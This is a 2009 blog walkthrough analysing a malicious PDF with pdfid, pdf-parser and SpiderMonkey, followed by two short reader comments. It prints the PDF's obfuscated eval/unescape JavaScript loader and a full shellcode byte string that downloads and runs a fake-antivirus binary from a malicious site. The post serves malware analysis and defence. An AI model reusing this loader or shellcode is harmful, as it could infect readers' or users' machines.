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Exploits: Analyzing a malicious PDF Document Mon, 21 Dec 2009 In this post I will explain a real case example of how to manually analyze a malicious PDF document. We start collecting some information of the PDF file:
MD5: 67f3da49ac07e6a5b3be1a743c3ea40d
Collect some PDF object information to begin the analysis using Didier Stevens pdfid.py: mac-jaime:pdf1 jaimeblasco$ python pdfid.py pdf.php PDFiD 0.0.9 pdf.php PDF Header: %PDF-1.4 obj 9 endobj 9 stream 3 endstream 3 xref 1 trailer 1 startxref 1 /Page 1 /Encrypt 0 /ObjStm 0 /JS 1 /JavaScript 2 /AA 0 /OpenAction 0 /AcroForm 0 /JBIG2Decode 0 /RichMedia 0 /Colors > 2^24 0 Now we know there is some javascript and filter objects we should analyze, first we search for Filter objects inside the PDF using Didier Stevens pdf-parser.py:
mac-jaime:pdf1 jaimeblasco$ python pdf-parser.py --search Filter pdf.php obj 5 0 Type: Referencing: Contains stream [(1, '\n'), (2, '<<'), (1, ' '), (2, '/Length'), (1, ' '), (3, '4852'), (1, ' '), (2, '/Filter'), (1, ' '), (2, '/FlateDecode'), (1, '\n '), (2, '>>'), (1, '\n')] << /Length 4852 /Filter /FlateDecode >> obj 6 0 Type: Referencing: Contains stream [(1, '\n'), (2, '<<'), (1, ' '), (2, '/Length'), (1, ' '), (3, '299'), (1, ' '), (2, '/Filter'), (1, ' '), (2, '/FlateDecode'), (1, '\n '), (2, '>>'), (1, '\n')] << /Length 299 /Filter /FlateDecode >> We have two streams that should be carefully analyzed, let's see the raw data of obj 5 0: mac-jaime:pdf1 jaimeblasco$ python pdf-parser.py --object 5 --raw --filter pdf.php | more obj 5 0 Type: Referencing: Contains stream << /Length 4852 /Filter /FlateDecode >> << /Length 4852 /Filter /FlateDecode >> colkokasd assa 443562df sdfs23234266colkokasd assa 443562df sdfs23234275colkokasd assa 443562df sdfs2323426ecolkokasd assa 443562df sdfs23234263colkokasd assa 443562df sdfs23234274colkokasd assa 443562df sdfs 23234269colkokasd assa 443562df sdfs2323426fcolkokasd assa 443562df......... ........... ........... ........... We have 172K of stream data, we save it for later analyze. Now dump the obj 6 raw data:
mac-jaime:pdf1 jaimeblasco$ python pdf-parser.py --object 6 --raw --filter pdf.php | more
obj 6 0
Type:
Referencing:
Contains stream
<< /Length 299 /Filter /FlateDecode
>>
<<
/Length 299
/Filter /FlateDecode
>>
var jxtDqSSfQPmE1 = "";
function cCrqddqiDoTmt(GEoyx8oatAOWi,g7UwbOwqmi0NT,g7UwbOwqmi0NTasd,g7UwbOwqmi0NTbbb)
{
var kokk = eval;
kokk(GEoyx8oatAOWi);
}
function WGBsiR5aIiD9Q(g7UwbOwqmi0NT,g7UwbOwqmi0NTka,g7UwbOwqmi0NTllol,g7UwbOwqmi0NTbban,g7UwbOwqmi0NTkkkl)
{
var uWReX84wKBTnU = "%";
VDzBdR9Xfzz8e = this.info.title;
jxtDqSSfQPmE1 = VDzBdR9Xfzz8e.replace(/colkokasd assa 443562df sdfs232342/g,uWReX84wKBTnU);
eval("var COPC8XTJPCkUm = u"+"nes"+"cape(jxtDqSSfQPmE1);");
cCrqddqiDoTmt(COPC8XTJPCkUm);
}
WGBsiR5aIiD9Q();
This is much better, we have some javascript eval, unescape functions and a reference to this.info.title. As we can see, the javascript code replace "colkokasd assa 443562df sdfs232342" from the obj 5 stream with the var uWReX84wKBTnU ("%") To emulate the javascript code, first we dump the obj5 data and then use sed to replace data: python pdf-parser.py --object 5 --raw --filter pdf.php > obj5 sed -i "s/colkokasd assa 443562df sdfs232342/%/g" obj5 We create a js file with the data replace inside var JmfNzd7NdGNhf = "%66%75%6e%63%74%69%6f%6.......... " and then call print(unescape(JmfNzd7NdGNhf));. If we execute the file with SpiderMonkey: mac-jaime:pdf1 jaimeblasco$ js obj_5.js Download the unobfuscated data from here Now we have the unobfuscated javascript code. The PPPDDDFF() version check for the Acrobat Reader version using the app.viewerVersion Adobe Javascript function and exploits a different vulnerability on each of the identified versions: We also found a shellcode, here is the raw data extracted using SpiderMonkey:
shellcode = "\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x33\xc0\x64\x8b\x40\x30\x78\x0c\x8b\x40\x0c" \
"\x8b\x70\x1c\xad\x8b\x58\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x58\x3c\x6a" \
"\x44\x5a\xd1\xe2\x2b\xe2\x8b\xec\xeb\x4f\x5a\x52\x83\xea\x56\x89\x55\x04\x56" \
"\x57\x8b\x73\x3c\x8b\x74\x33\x78\x03\xf3\x56\x8b\x76\x20\x03\xf3\x33\xc9\x49" \
"\x50\x41\xad\x33\xff\x36\x0f\xbe\x14\x03\x38\xf2\x74\x08\xc1\xcf\x0d\x03\xfa" \
"\x40\xeb\xef\x58\x3b\xf8\x75\xe5\x5e\x8b\x46\x24\x03\xc3\x66\x8b\x0c\x48\x8b" \
"\x56\x1c\x03\xd3\x8b\x04\x8a\x03\xc3\x5f\x5e\x50\xc3\x8d\x7d\x08\x57\x52\xb8" \
"\x33\xca\x8a\x5b\xe8\xa2\xff\xff\xff\x32\xc0\x8b\xf7\xf2\xae\x4f\xb8\x65\x2e" \
"\x65\x78\xab\x66\x98\x66\xab\xb0\x6c\x8a\xe0\x98\x50\x68\x6f\x6e\x2e\x64\x68" \
"\x75\x72\x6c\x6d\x54\xb8\x8e\x4e\x0e\xec\xff\x55\x04\x93\x50\x33\xc0\x50\x50" \
"\x56\x8b\x55\x04\x83\xc2\x7f\x83\xc2\x31\x52\x50\xb8\x36\x1a\x2f\x70\xff\x55" \
"\x04\x5b\x33\xff\x57\x56\xb8\x98\xfe\x8a\x0e\xff\x55\x04\x57\xb8\xef\xce\xe0" \
"\x60\xff\x55\x04\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x69\x6e\x70\x75" \
"\x74\x74\x61\x69\x6d\x65\x6e\x74\x2e\x63\x6f\x6d\x2f\x6c\x6f\x61\x64\x2e\x70" \
"\x68\x70\x3f\x73\x70\x6c\x3d\x70\x64\x66\x5f\x65\x78\x70"
The shellcode downloads a binary file from hxxp://www.inputtaiment.com/load.php?spl=pdf_exp (Mal/FakeAV-BX), here is the analysis data: posted at: 14:01 | path: /Exploits | permanent link to this entry | 2 comments |
* Posted by arebc at Tue Dec 29 21:18:59 2009
A argument I find useful is "-f javascript". This of course just searches for javascript.
Nice job on the write up :)
* Posted by arebc at Wed Dec 30 01:47:47 2009
A argument I find useful is "-f javascript". This of course just searches for javascript.
Nice job on the write up :)
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